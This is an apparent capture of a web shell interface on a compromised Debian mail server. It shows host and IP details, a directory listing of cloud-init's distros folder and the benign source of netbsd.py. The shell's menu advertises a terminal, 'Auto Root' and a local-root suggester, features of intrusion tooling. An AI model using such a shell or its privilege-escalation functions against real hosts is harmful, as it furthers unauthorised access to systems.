Linux mail.vriendennsm.nl 6.1.0-51-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.177-1 (2026-07-16) x86_64
Apache/2.4.68 (Debian)
Server IP : 217.154.75.17 & Your IP : 216.73.216.195
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib /
python3 /
dist-packages /
cloudinit /
distros /
Delete
Unzip
Name
Size
Permission
Date
Action
__pycache__
[ DIR ]
drwxr-xr-x
2026-07-12 06:55
parsers
[ DIR ]
drwxr-xr-x
2026-07-12 06:55
__init__.py
42.64
KB
-rw-r--r--
2022-11-23 21:17
almalinux.py
174
B
-rw-r--r--
2022-11-23 21:17
alpine.py
6.73
KB
-rw-r--r--
2022-11-23 21:17
amazon.py
615
B
-rw-r--r--
2022-11-23 21:17
arch.py
8.34
KB
-rw-r--r--
2022-11-23 21:17
bsd.py
4.91
KB
-rw-r--r--
2022-11-23 21:17
bsd_utils.py
1.42
KB
-rw-r--r--
2022-11-23 21:17
centos.py
174
B
-rw-r--r--
2022-11-23 21:17
cloudlinux.py
174
B
-rw-r--r--
2022-11-23 21:17
cos.py
270
B
-rw-r--r--
2022-11-23 21:17
debian.py
13.36
KB
-rw-r--r--
2022-11-23 21:17
dragonflybsd.py
253
B
-rw-r--r--
2022-11-23 21:17
eurolinux.py
174
B
-rw-r--r--
2022-11-23 21:17
fedora.py
460
B
-rw-r--r--
2022-11-23 21:17
freebsd.py
6.4
KB
-rw-r--r--
2022-11-23 21:17
gentoo.py
8.95
KB
-rw-r--r--
2022-11-23 21:17
mariner.py
1.72
KB
-rw-r--r--
2022-11-23 21:17
miraclelinux.py
174
B
-rw-r--r--
2022-11-23 21:17
net_util.py
6.42
KB
-rw-r--r--
2022-11-23 21:17
netbsd.py
4.43
KB
-rw-r--r--
2022-11-23 21:17
networking.py
11.06
KB
-rw-r--r--
2022-11-23 21:17
openEuler.py
174
B
-rw-r--r--
2022-11-23 21:17
openbsd.py
1.86
KB
-rw-r--r--
2022-11-23 21:17
openmandriva.py
260
B
-rw-r--r--
2022-11-23 21:17
opensuse.py
6.78
KB
-rw-r--r--
2022-11-23 21:17
photon.py
4.74
KB
-rw-r--r--
2022-11-23 21:17
rhel.py
7.08
KB
-rw-r--r--
2022-11-23 21:17
rhel_util.py
1.44
KB
-rw-r--r--
2022-11-23 21:17
rocky.py
174
B
-rw-r--r--
2022-11-23 21:17
sles.py
270
B
-rw-r--r--
2022-11-23 21:17
ubuntu.py
1.5
KB
-rw-r--r--
2022-11-23 21:17
ug_util.py
9.8
KB
-rw-r--r--
2022-11-23 21:17
virtuozzo.py
174
B
-rw-r--r--
2022-11-23 21:17
Save
Rename
# Copyright (C) 2019-2020 Gonéri Le Bouder # # This file is part of cloud-init. See LICENSE file for license information. import crypt import os import platform import cloudinit.distros.bsd from cloudinit import log as logging from cloudinit import subp, util LOG = logging.getLogger(__name__) class NetBSD(cloudinit.distros.bsd.BSD): """ Distro subclass for NetBSD. (N.B. OpenBSD inherits from this class.) """ ci_sudoers_fn = "/usr/pkg/etc/sudoers.d/90-cloud-init-users" group_add_cmd_prefix = ["groupadd"] def __init__(self, name, cfg, paths): super().__init__(name, cfg, paths) if os.path.exists("/usr/pkg/bin/pkgin"): self.pkg_cmd_install_prefix = ["pkgin", "-y", "install"] self.pkg_cmd_remove_prefix = ["pkgin", "-y", "remove"] self.pkg_cmd_update_prefix = ["pkgin", "-y", "update"] self.pkg_cmd_upgrade_prefix = ["pkgin", "-y", "full-upgrade"] else: self.pkg_cmd_install_prefix = ["pkg_add", "-U"] self.pkg_cmd_remove_prefix = ["pkg_delete"] def _get_add_member_to_group_cmd(self, member_name, group_name): return ["usermod", "-G", group_name, member_name] def add_user(self, name, **kwargs): if util.is_user(name): LOG.info("User %s already exists, skipping.", name) return False adduser_cmd = ["useradd"] log_adduser_cmd = ["useradd"] adduser_opts = { "homedir": "-d", "gecos": "-c", "primary_group": "-g", "groups": "-G", "shell": "-s", } adduser_flags = { "no_user_group": "--no-user-group", "system": "--system", "no_log_init": "--no-log-init", } for key, val in kwargs.items(): if key in adduser_opts and val and isinstance(val, str): adduser_cmd.extend([adduser_opts[key], val]) elif key in adduser_flags and val: adduser_cmd.append(adduser_flags[key]) log_adduser_cmd.append(adduser_flags[key]) if "no_create_home" not in kwargs or "system" not in kwargs: adduser_cmd += ["-m"] log_adduser_cmd += ["-m"] adduser_cmd += [name] log_adduser_cmd += [name] # Run the command LOG.info("Adding user %s", name) try: subp.subp(adduser_cmd, logstring=log_adduser_cmd) except Exception: util.logexc(LOG, "Failed to create user %s", name) raise # Set the password if it is provided # For security consideration, only hashed passwd is assumed passwd_val = kwargs.get("passwd", None) if passwd_val is not None: self.set_passwd(name, passwd_val, hashed=True) def set_passwd(self, user, passwd, hashed=False): if hashed: hashed_pw = passwd else: method = crypt.METHOD_BLOWFISH # pylint: disable=E1101 hashed_pw = crypt.crypt(passwd, crypt.mksalt(method)) try: subp.subp(["usermod", "-p", hashed_pw, user]) except Exception: util.logexc(LOG, "Failed to set password for %s", user) raise self.unlock_passwd(user) def force_passwd_change(self, user): try: subp.subp(["usermod", "-F", user]) except Exception: util.logexc(LOG, "Failed to set pw expiration for %s", user) raise def lock_passwd(self, name): try: subp.subp(["usermod", "-C", "yes", name]) except Exception: util.logexc(LOG, "Failed to lock user %s", name) raise def unlock_passwd(self, name): try: subp.subp(["usermod", "-C", "no", name]) except Exception: util.logexc(LOG, "Failed to unlock user %s", name) raise def apply_locale(self, locale, out_fn=None): LOG.debug("Cannot set the locale.") def _get_pkg_cmd_environ(self): """Return env vars used in NetBSD package_command operations""" os_release = platform.release() os_arch = platform.machine() e = os.environ.copy() e[ "PKG_PATH" ] = "http://cdn.netbsd.org/pub/pkgsrc/packages/NetBSD/%s/%s/All" % ( os_arch, os_release, ) return e def update_package_sources(self): pass class Distro(NetBSD): pass # vi: ts=4 expandtab